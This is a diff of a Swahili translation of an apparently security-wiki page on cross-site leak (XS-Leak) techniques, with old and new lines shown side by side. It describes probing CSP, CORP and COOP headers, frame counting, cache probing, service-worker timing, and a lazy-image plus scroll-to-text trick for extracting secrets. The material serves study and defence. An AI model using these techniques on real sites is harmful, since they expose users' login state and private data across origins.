- **Summary:** Miongozo ya kichwa cha CSP inaweza kuchunguzwa kwa kutumia sifa ya iframe ya CSP, ikifichua maelezo ya sera.
- **Summary:** Miongozo ya kichwa cha CSP inaweza kuchunguzwa kwa kutumia sifa ya iframe ya CSP, ikifunua maelezo ya sera.
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
A novel feature in Google Chrome (GC) allows web pages to **propose a Content Security Policy (CSP)** by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must **authorize this via an HTTP header**, or an **error page is displayed**. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to **detect specific CSP directives** of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a **new leak technique** capable of detecting the error page, suggesting that the underlying problem was never fully addressed.
@ -530,7 +530,7 @@ A novel feature in Google Chrome (GC) allows web pages to **propose a Content Se
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Header
- **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Summary:** Rasilimali zilizolindwa na Sera ya Rasilimali za Mipaka ya Mipaka (CORP) zitatupa kosa wakati zinapojaribiwa kutoka kwenye asili isiyoruhusiwa.
- **Summary:** Rasilimali zilizolindwa na Sera ya Rasilimali za Mipaka ya Mipango (CORP) zitasababisha kosa wakati zinapojaribiwa kutoka kwa asili isiyoruhusiwa.
- **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
The CORP header is a relatively new web platform security feature that when set b**locks no-cors cross-origin requests to the given resource**. The presence of the header can be detected, because a resource protected with CORP will **throw an error when fetched**.
@ -550,7 +550,7 @@ Check the link for more information about the attack.
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Headers
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
- **Summary**: Ikiwa kichwa cha Asili kinarejelewa katika kichwa `Access-Control-Allow-Origin` inawezekana kuangalia ikiwa rasilimali ipo kwenye cache tayari.
- **Summary**: Ikiwa kichwa cha Origin kinarejelewa katika kichwa `Access-Control-Allow-Origin` inawezekana kuangalia ikiwa rasilimali iko kwenye cache tayari.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
In case the **Origin header** is being **reflected** in the header `Access-Control-Allow-Origin` an attacker can abuse this behaviour to try to **fetch** the **resource** in **CORS** mode. If an **error** **isn't** triggered, it means that it was **correctly retrieved form the web**, if an error is **triggered**, it's because it was **accessed from the cache** (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain)**.**\
@ -573,7 +573,7 @@ Submitting a request using the Fetch API with `redirect: "manual"` and other par
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Summary:** Kurasa zilizolindwa na Sera ya Mfunguo wa Mipaka ya Mipaka (COOP) kuzuia ufikiaji kutoka kwa mwingiliano wa mipaka.
- **Summary:** Kurasa zilizolindwa na Sera ya Mfunguo wa Mipaka ya Mipango (COOP) kuzuia ufikiaji kutoka kwa mwingiliano wa mipango tofauti.
- **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the **`contentWindow` reference**. In scenarios where COOP is applied conditionally, the **`opener` property** becomes a telltale indicator: it's **undefined** when COOP is active, and **defined** in its absence.
@ -620,7 +620,7 @@ url-max-length-client-side.md
- **Inclusion Methods**: Fetch API, Frames
- **Detectable Difference**: Status Code
- **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
- **Summary:** Tumia kikomo cha kuelekeza cha kivinjari kubaini kuwepo kwa kuelekeza URL.
- **Summary:** Tumia kikomo cha kuelekeza cha kivinjari ili kubaini kuwepo kwa kuelekeza URL.
- **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
If the **max** number of **redirects** to follow of a browser is **20**, an attacker could try to load his page with **19 redirects** and finally **send the victim** to the tested page. If an **error** is triggered, then the page was trying to **redirect the victim**.
@ -666,11 +666,11 @@ console.log(await debug(win, "https://example.com/?a=b"))
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Summary:** Tathmini idadi ya vipengele vya iframe kwa kukagua mali ya `window.length`.
- **Summary:** Kadiria idadi ya vipengele vya iframe kwa kukagua mali ya `window.length`.
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Kuhesabu **idadi ya frames katika wavuti** iliyofunguliwa kupitia `iframe` au `window.open` kunaweza kusaidia kubaini **hali ya mtumiaji juu ya ukurasa huo**.\
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia **kila wakati** idadi ya frames kunaweza kusaidia kubaini **mwelekeo** ambao unaweza kuvuja taarifa.
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia **kuendelea** idadi ya frames kunaweza kusaidia kubaini **mwelekeo** ambao unaweza kuvuja taarifa.
Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa **kuhesabu frames** kwa sababu `embed` inatumika ndani. Kuna [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) ambazo zinatoa udhibiti fulani juu ya maudhui kama vile `zoom`, `view`, `page`, `toolbar` ambapo mbinu hii inaweza kuwa ya kuvutia.
@ -682,14 +682,14 @@ Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa
- **Summary:** Soma thamani iliyovuja ili kutofautisha kati ya hali 2 zinazowezekana
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Uvujaji wa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamik zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha saizi ya media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
Kuvuja kwa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamik zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha saizi ya media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
### Information Exposed by HTML Elements
- **HTMLMediaElement**: Kipengele hiki kinafichua `duration` na `buffered` times za media, ambazo zinaweza kufikiwa kupitia API yake. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Inafichua `videoHeight` na `videoWidth`. Katika baadhi ya vivinjari, mali za ziada kama `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, na `webkitDecodedFrameCount` zinapatikana, zikitoa taarifa zaidi kuhusu maudhui ya media. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **HTMLMediaElement**: Kipengele hiki kinafichua `duration` na `buffered` nyakati za media, ambazo zinaweza kufikiwa kupitia API yake. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Inafichua `videoHeight` na `videoWidth`. Katika vivinjari vingine, mali za ziada kama `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, na `webkitDecodedFrameCount` zinapatikana, zikitoa taarifa zaidi kuhusu maudhui ya media. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuashiria kiasi cha data ya video iliyop processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Kipengele hiki kinavuja `height` na `width` ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya `image.decode()` itakataliwa, ikionyesha kushindwa kwa kupakia picha ipasavyo. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLImageElement**: Kipengele hiki kinavuja `height` na `width` ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya `image.decode()` itakataliwa, ikionyesha kushindwa kwa kupakia picha vizuri. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
@ -699,8 +699,8 @@ Uvujaji wa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavu
- **Summary:** Tambua tofauti katika mtindo wa wavuti zinazohusiana na hali au hadhi ya mtumiaji.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Programu za wavuti zinaweza kubadilisha mtindo wa **wavuti kulingana na hali ya mtumiaji**. Faili za CSS za cross-origin zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia **HTML link element**, na **kanuni** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa unabadilisha kanuni hizi kwa njia ya kidinamik, mshambuliaji anaweza **kutambua** **tofauti** hizi kulingana na hali ya mtumiaji.\
Kama mbinu ya uvujaji, mshambuliaji anaweza kutumia njia ya `window.getComputedStyle` kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.
Programu za wavuti zinaweza kubadilisha mtindo wa **wavuti kulingana na hali ya mtumiaji**. Faili za CSS za kuvuka mipaka zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia **HTML link element**, na **kanuni** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa unabadilisha kanuni hizi kwa njia ya kidinamik, mshambuliaji anaweza **kutambua** **tofauti** hizi kulingana na hali ya mtumiaji.\
Kama mbinu ya kuvuja, mshambuliaji anaweza kutumia njia ya `window.getComputedStyle` kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.
### CSS History
@ -730,10 +730,10 @@ Kwa maelezo zaidi kuhusu mali hizi na mbinu, tembelea kurasa zao za hati:
- **Inclusion Methods**: Frames
- **Detectable Difference**: Headers
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Summary:** Katika Google Chrome, ukurasa maalum wa makosa unaonyeshwa wakati ukurasa umezuia kuingizwa kwenye tovuti ya cross-origin kutokana na vizuizi vya X-Frame-Options.
- **Summary:** Katika Google Chrome, ukurasa maalum wa makosa unaonyeshwa wakati ukurasa umezuia kuingizwa kwenye tovuti ya kuvuka mipaka kutokana na vizuizi vya X-Frame-Options.
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
Katika Chrome, ikiwa ukurasa wenye kichwa cha `X-Frame-Options` kimewekwa kuwa "deny" au "same-origin" umeingizwa kama kitu, ukurasa wa makosa unaonekana. Chrome inarudisha kipekee kitu cha hati tupu (badala ya `null`) kwa mali ya `contentDocument` ya kitu hiki, tofauti na katika iframes au vivinjari vingine. Washambuliaji wanaweza kutumia hii kwa kutambua hati tupu, ambayo inaweza kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa waendelezaji wanaweka kichwa cha X-Frame-Options kwa kutokuweka sawa, mara nyingi wakisahau kurasa za makosa. Ufahamu na matumizi ya mara kwa mara ya vichwa vya usalama ni muhimu kwa kuzuia uvujaji kama huu.
Katika Chrome, ikiwa ukurasa wenye kichwa cha `X-Frame-Options` kimewekwa kuwa "deny" au "same-origin" umeingizwa kama kitu, ukurasa wa makosa unaonekana. Chrome inarudisha kipekee kitu cha hati tupu (badala ya `null`) kwa mali ya `contentDocument` ya kitu hiki, tofauti na katika iframes au vivinjari vingine. Washambuliaji wanaweza kutumia hii kwa kutambua hati tupu, ambayo inaweza kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa waendelezaji wanaweka kichwa cha X-Frame-Options kwa kutokuweka sawa, mara nyingi wakisahau kurasa za makosa. Ufahamu na matumizi ya mara kwa mara ya vichwa vya usalama ni muhimu kwa kuzuia kuvuja kama haya.
### Download Detection
@ -753,7 +753,7 @@ Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinael
- Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuangalia ikiwa hali ya maudhui inasababisha upakuaji wa faili (hakuna navigesheni) au la.
3. **Upakuaji wa Navigesheni bila Iframes**:
- Kama mbinu ya iframe, njia hii inahusisha kutumia `window.open` badala ya iframe.
- Kufuatilia matukio ya navigesheni katika dirisha lililofunguliwa jipya kunaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).
- Kufuatilia matukio ya navigesheni katika dirisha lililo wazi jipya kunaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).
Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama huu, mbinu hizi zinaweza kutumika kwa njia isiyo ya moja kwa moja kudhani hali ya uthibitisho wa mtumiaji kulingana na majibu ya kivinjari kwa ombi la upakuaji.
@ -766,12 +766,12 @@ Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (kutoka [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> Hii ndiyo sababu mbinu hii ni ya kuvutia: Chrome sasa ina **cache partitioning**, na ufunguo wa cache wa ukurasa uliofunguliwa mpya ni: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, lakini ikiwa nitafungua ukurasa wa ngrok na kutumia fetch ndani yake, ufunguo wa cache utakuwa: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **ufunguo wa cache ni tofauti**, hivyo cache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> Hii ndiyo sababu mbinu hii ni ya kuvutia: Chrome sasa ina **cache partitioning**, na funguo ya cache ya ukurasa uliofunguliwa mpya ni: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, lakini ikiwa nitafungua ukurasa wa ngrok na kutumia fetch ndani yake, funguo ya cache itakuwa: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **funguo ya cache ni tofauti**, hivyo cache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Maoni kutoka [**hapa**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **ufunguo sawa wa caching** kama rasilimali ilivyoombwa moja kwa moja **kupitia navigesheni ya ngazi ya juu**. Hii ni kwa sababu ufunguo wa caching unajumuisha ngazi ya juu _eTLD+1_ na frame _eTLD+1_.
Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **funguo sawa ya caching** kama rasilimali ilivyoombwa moja kwa moja **kupitia navigesheni ya ngazi ya juu**. Hiyo ni kwa sababu funguo ya caching inajumuisha ngazi ya juu _eTLD+1_ na frame _eTLD+1_.
Kwa sababu ufikiaji wa cache ni wa haraka zaidi kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kuikataa 20ms (kwa mfano) baada ya hapo. Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.\
Kwa sababu ufikiaji wa cache ni wa haraka zaidi kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kuifuta 20ms (kwa mfano) baada ya hapo. Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.\
Au inaweza tu **kutuma baadhi ya fetch kwa ukurasa unaoweza kuhifadhiwa na kupima muda inachukua**.
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -799,7 +799,7 @@ Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** kugundua ikiwa **ra
- **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** Inawezekana **kufuta kazi zilizojengwa ndani** na kusoma hoja zao hata kutoka **cross-origin script** (ambayo haiwezi kusomwa moja kwa moja), hii inaweza **kuvuja taarifa muhimu**.
- **Summary:** Inawezekana **kufuta kazi zilizojengwa ndani** na kusoma hoja zao hata kutoka **script ya kuvuka mipaka** (ambayo haiwezi kusomwa moja kwa moja), hii inaweza **kuvuja taarifa muhimu**.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Service Workers <a href="#service-workers" id="service-workers"></a>
@ -807,15 +807,15 @@ Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** kugundua ikiwa **ra
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia service workers.
- **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia wafanyakazi wa huduma.
- **Code Example**:
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **service worker** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kumwambia **service worker** kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anapeleka rejeleo lililopatikana katika hatua ya awali kwenye ukurasa unaosimamiwa na **service worker**.
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **mshauri wa huduma** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kumwambia **mshauri wa huduma** kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anapeleka rejeleo lililopatikana katika hatua ya awali kwenye ukurasa unaosimamiwa na **mshauri wa huduma**.
Wakati ombi lililoanzishwa katika hatua ya awali linapofika, **service worker** inajibu kwa msimbo wa hali **204 (No Content)**, ikisitisha mchakato wa navigesheni. Wakati huu, **service worker** inachukua kipimo kutoka kwa kipima muda kilichoanzishwa mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript unaosababisha ucheleweshaji katika mchakato wa navigesheni.
Pale ombi lililoanzishwa katika hatua ya awali linapofika, **mshauri wa huduma** unajibu kwa msimbo wa hali **204 (No Content)**, kwa ufanisi ukimaliza mchakato wa navigesheni. Wakati huu, **mshauri wa huduma** anachukua kipimo kutoka kwa kipima muda kilichozinduliwa mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript inayosababisha ucheleweshaji katika mchakato wa navigesheni.
> [!WARNING]
> Katika kipimo cha utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
> Katika muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuupakia.
### Fetch Timing
@ -836,7 +836,7 @@ Wakati ombi lililoanzishwa katika hatua ya awali linapofika, **service worker**
## With HTML or Re Injection
Hapa unaweza kupata mbinu za kuhamasisha taarifa kutoka kwa HTML ya cross-origin **kuingiza maudhui ya HTML**. Mbinu hizi ni za kuvutia katika kesi ambapo kwa sababu yoyote unaweza **kuingiza HTML lakini huwezi kuingiza msimbo wa JS**.
Hapa unaweza kupata mbinu za kuhamasisha taarifa kutoka kwa HTML ya kuvuka mipaka **kuingiza maudhui ya HTML**. Mbinu hizi ni za kuvutia katika kesi ambapo kwa sababu yoyote unaweza **kuingiza HTML lakini huwezi kuingiza msimbo wa JS**.
### Dangling Markup
@ -853,8 +853,8 @@ Hata hivyo, ikiwa kwa sababu yoyote unapaswa kufanya hivyo **karakter kwa karakt
```html
<img src=/something loading=lazy >
```
Kwa hivyo, kile unachoweza kufanya ni **kuongeza herufi nyingi za takataka** (Kwa mfano **maelfu ya "W"s**) ili **kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama** `<br><canvas height="1850px"></canvas><br>.`\
Kisha ikiwa kwa mfano **kuingiza kwetu kunaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + takataka itazuia **kupakiwa** (utahitaji kucheza na ni kiasi gani cha takataka kuweka). Hii ndiyo ilivyotokea katika [**hiki andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Kwa hivyo, kile unachoweza kufanya ni **kuongeza herufi nyingi za junk** (Kwa mfano **maelfu ya "W"s**) ili **kujaza ukurasa wa wavuti kabla ya siri au ongeza kitu kama** `<br><canvas height="1850px"></canvas><br>.`\
Kisha ikiwa kwa mfano **kuingiza kwetu kunaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada ya** **bendera**, bendera + junk itakuwa **zuia kupakiwa** (utahitaji kucheza na kiasi gani cha junk kuweka). Hii ndiyo ilitokea katika [**hiki andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Chaguo jingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa:
@ -866,9 +866,9 @@ Hata hivyo, unafanya **bot kuingia kwenye ukurasa** na kitu kama
```
Hivyo ukurasa wa wavuti utakuwa kama: **`https://victim.com/post.html#:~:text=SECR`**
Ambapo post.html ina wahasiriwa wa mhamasishaji na picha ya kupakia polepole na kisha siri ya roboti inaongezwa.
Ambapo post.html ina wahasiriwa wa wahasiriwa na picha ya kupakia polepole na kisha siri ya roboti inaongezwa.
Kile maandiko haya yatakachofanya ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo taratibu**.
Kile hiki kitatenda ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo taratibu**.
Mfano wa msimbo wa kutumia hili: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

Some files were not shown because too many files have changed in this diff Show More